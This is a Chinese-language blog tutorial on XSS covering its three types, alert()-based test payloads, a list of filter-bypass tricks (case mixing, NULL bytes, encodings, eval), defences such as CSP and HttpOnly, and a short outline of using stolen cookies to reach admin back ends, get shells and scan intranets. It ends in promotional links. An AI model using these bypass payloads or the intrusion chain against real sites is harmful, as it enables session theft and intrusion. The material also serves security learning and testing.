还在害怕XSS?网络安全老司机带你轻松搞定它从零基础到精通,收藏这篇就够了!

0x01 漏洞原理:XSS 究竟是个啥玩意儿?

简单来说,XSS 就是应用程序在给浏览器“发货”时,夹带了用户提交的“不良信息”,而且还没经过严格的质检。结果浏览器一看,这玩意儿能执行啊,得嘞,直接开干!

别怕,这个“跨”其实是浏览器的一个小脾气,不是啥大毛病。

记住: 浏览器有个规矩,叫“同源策略”,意思是只有发 Cookie 的网站才能读取 Cookie。

XSS 搞事情,轻则窃取你的 Cookie,重则劫持你的 Web 行为,甚至联合 CSRF 来一波精准打击!

0x02 XSS 的三大流派

反射型 XSS:

这种 XSS 就像“一次性用品”,在搜索栏、登录页面等地方出没。攻击者会想方设法诱骗你点击一个链接,一旦你点了,Cookie 就可能被盗走,然后你就等着被钓鱼吧!

存储型 XSS:

这种 XSS 就像“牛皮癣”,一旦被种下,就会长期存在。它经常出现在留言、评论、博客日志等互动区域,直接威胁 Web 服务器的安全。

DOM 型 XSS:

这种 XSS 就像“隐形刺客”,基于浏览器的“文档对象模型”搞事情。

注意: DOM 型和反射型类似,都需要你点击攻击者精心炮制的 URL。

关键点: DOM 型 XSS 是通过 URL 传入参数来控制触发的。

重点: DOM 型 XSS 返回的页面源码里看不到你输入的 Payload,它藏在浏览器的 DOM 里!

举个栗子: 假设你的页面里有这么一段脚本:

<script>
  var message = location.hash.slice(1); // 从 URL 的 hash 中获取参数
  document.write(message); // 将参数写入页面
</script>

如果攻击者把 JavaScript 代码作为 message 的参数,这段代码就会被动态写入到页面中,然后像服务器返回的代码一样被执行!

所以,DOM 型 XSS 和反射型 XSS 一样,都需要你主动去点攻击者构造的 URL!

如何揪出 XSS 这个小坏蛋?

基本验证:

"><script>alert(document.cookie)</script>

把这段代码提交给每个页面的每个参数,然后盯着响应。如果攻击字符串原封不动地出现在响应里,那恭喜你,可能找到 XSS 了!

绕过姿势:

有些 App 可能会用黑名单过滤,想阻止 XSS 攻击?Too young, too simple!

"><ScRiPt>alert(document.cookie)</ScRiPt>

DOM 型 XSS 的特殊之处:

记住,DOM 型 XSS 的 Payload 不在服务器的响应里,它藏在浏览器的 DOM 里,而且能被客户端 JavaScript 访问。所以,上面的基本验证方法可能失效。

0x03 实战演练:XSS 漏洞大赏

反射型 XSS 案例:

案例 1:标签属性值

假设页面里有这么一段代码:

<input type="text" name="name" value="test-text">

搞事情的姿势: 结束双引号,再来一段脚本!

"><script>alert(1)</script>

案例 2:JavaScript 字符串

假设页面里有这么一段代码:

<script>var a='test-text'; var b=123;...</script>

搞事情的姿势: 用分号结束语句,插入恶意代码!

'; alert(1); var foo='

案例 3:URL 特性

假设页面里有这么一段代码:

<a href="test-text">Click here</a>

搞事情的姿势: 利用 javascript: 协议!

javascript:alert(1);

各种“奇技淫巧”:

  • 脚本标签: <script>alert(1)</script>
  • 事件处理器: <img onerror=alert(1) src=a>
  • 脚本伪协议: <object data=javascript:alert(1)></object>

绕过过滤的 N 种姿势:

  • HTML 标签名称:
    • 大小写混用:<iMg onerror=alert(1) src=a>
    • 插入 NULL 字节:<[%00]img onerror=alert(1) src=a>
    • 标签名称后加空格:<img[%09]onerror=alert(1) src=a>
  • 属性名称:
    • 绕过 on 开头的过滤器:<img o[%00]nerror=alert(1) src=a>
    • 用其他字符分隔属性:<img onerror='alert(1)' src=a>
  • 属性值:
    • NULL 字节或 HTML 编码:<img onerror=a[%00]lert(1) src=a>
    • HTML 编码、十六进制编码、Base64 编码、ASCII 编码
  • 字符集: UTF-7、US-ASCII、UTF-16
  • 拆分跨站: <script>z='<script src=';/* 最终执行 <script>

脚本代码的绕过技巧:

  • Unicode 转义: <script>alert(1)</script>
  • Eval 大法: <script>eval('alert(1)');</script>
  • [] 代替 . <script>alert(document['cookie'])</script>

存储型 XSS 案例:

  1. 确定存储型 XSS 的方法和反射型类似,但也有区别。
  2. 提交恶意字符串后,要反复检查 App 的所有功能。
  3. 检查管理员才能访问的区域,看看是否有可被普通用户控制的数据。
  4. 检查 App 的整个流程,确保测试彻底。
  5. 检查可控的带外通道,比如 HTTP 消息头。

在上传文件中搞事情:

如果 App 允许用户上传文件,而且这些文件能被其他人看到或下载,那就可能存在存储型 XSS。

举个栗子: 上传一个 HTML 文件,看看能不能执行。

进阶操作: 把 XSS 的 Payload 藏在图片里,上传到用户头像!

DOM 型 XSS 案例:

关键: 检查客户端 JavaScript 代码,看看是否使用了可能导致漏洞的 DOM 属性。

重点关注这些 API:

document.location

特别注意:

document.write()

小技巧: 服务器不解析 URL 中 # 后面的内容。

如何防止 XSS?

  • 确认输入: 别让数据太长!
  • 确认输出: 对用户提交的数据进行 HTML 编码,净化恶意代码!
  • 消除危险插入点: 尽量避免在 JavaScript 中插入用户可控的数据!
  • 允许有限的 HTML:
    • 客户端:确认插入的数据只包含字母数字和空白符。
    • 服务端:严格确认 URL 数据,查询字符串中只有一个参数。

0x04 XSS 防御:终极方案

  • Content Security Policy (CSP):
    • 禁止加载外域代码,防止复杂的攻击逻辑。
  • HTTP-only Cookie:
    • 禁止 JavaScript 读取某些敏感 Cookie。
  • 验证码:
    • 防止脚本冒充用户提交危险操作。

0x05 总结:XSS 攻防之道

快速发现 XSS 的方法:

  • 反射型 XSS: 找输入点,构造 Payload,监控响应。
  • DOM 型 XSS: Payload 不在服务器响应里,藏在浏览器的 DOM 里。
  • 存储型 XSS: 输入 Payload,看是否被过滤;反向猜测输出点,构造 Payload。

XSS 蠕虫的产生条件:

  • 可以执行恶意操作。
  • 可以感染并传播。

XSS 如何打到内网后台?

  1. XSS 平台拿 Cookie 登录后台,或者钓鱼拿登录信息。
  2. 找上传点 GetShell。
  3. 结合 MSF 使用。
  4. 用 XSS 扫描内网端口。
  5. 利用探测出来的信息进一步利用,比如 Redis。

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值